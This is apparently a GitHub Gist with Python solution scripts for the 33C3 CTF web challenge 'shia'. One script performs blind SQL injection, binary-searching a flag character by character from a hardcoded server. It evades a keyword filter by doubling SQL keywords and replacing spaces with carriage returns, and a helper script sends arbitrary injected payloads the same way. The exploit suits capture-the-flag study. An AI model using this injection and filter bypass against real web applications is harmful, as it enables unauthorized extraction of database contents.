Last active
January 2, 2017 00:39
-
-
Save st98/24776a974fb68bae63205bfdd486ebdd to your computer and use it in GitHub Desktop.
33C3 CTF - [web 175] shia
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import urllib.parse | |
def check(s): | |
return b"Don't let your dreams be dreams!" in s | |
url = 'http://78.46.224.75/quote/' | |
query = '(select substring(y from {} for 1) <= binary 0x{:x} from (select * from (select 1 u)a join (select 2 x)b join (select 3 y)c join (select 4 z)d union select * from flag)f where y like 0x253333433325 limit 1)' | |
i = 1 | |
res = '' | |
while True: | |
high = 0x7e | |
low = -1 | |
while abs(high - low) > 1: | |
mid = (high + low) // 2 | |
q = query.format(i, mid) | |
q = q.replace(' ', '\r') | |
q = q.replace('select', 'sselectelect') | |
q = q.replace('union', 'uunionnion') | |
q = q.replace('join', 'jjoinoin') | |
q = urllib.parse.quote(q) | |
c = requests.get(url + q) | |
if check(c.content): | |
high = mid | |
else: | |
low = mid | |
res += chr(high) | |
print(i, res) | |
i += 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sys | |
import urllib.parse | |
if len(sys.argv) < 2: | |
sys.exit(0) | |
p = sys.argv[1] | |
p = p.replace(' ', '\r') | |
p = p.replace('select', 'sselectelect') | |
p = p.replace('union', 'uunionnion') | |
p = p.replace('join', 'jjoinoin') | |
p = urllib.parse.quote(p) | |
u = 'http://78.46.224.75/quote/' + p | |
print(u) | |
print(requests.get(u).content) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
solve.py
ではわざわざBlind SQLiしてるけどの方が楽だった…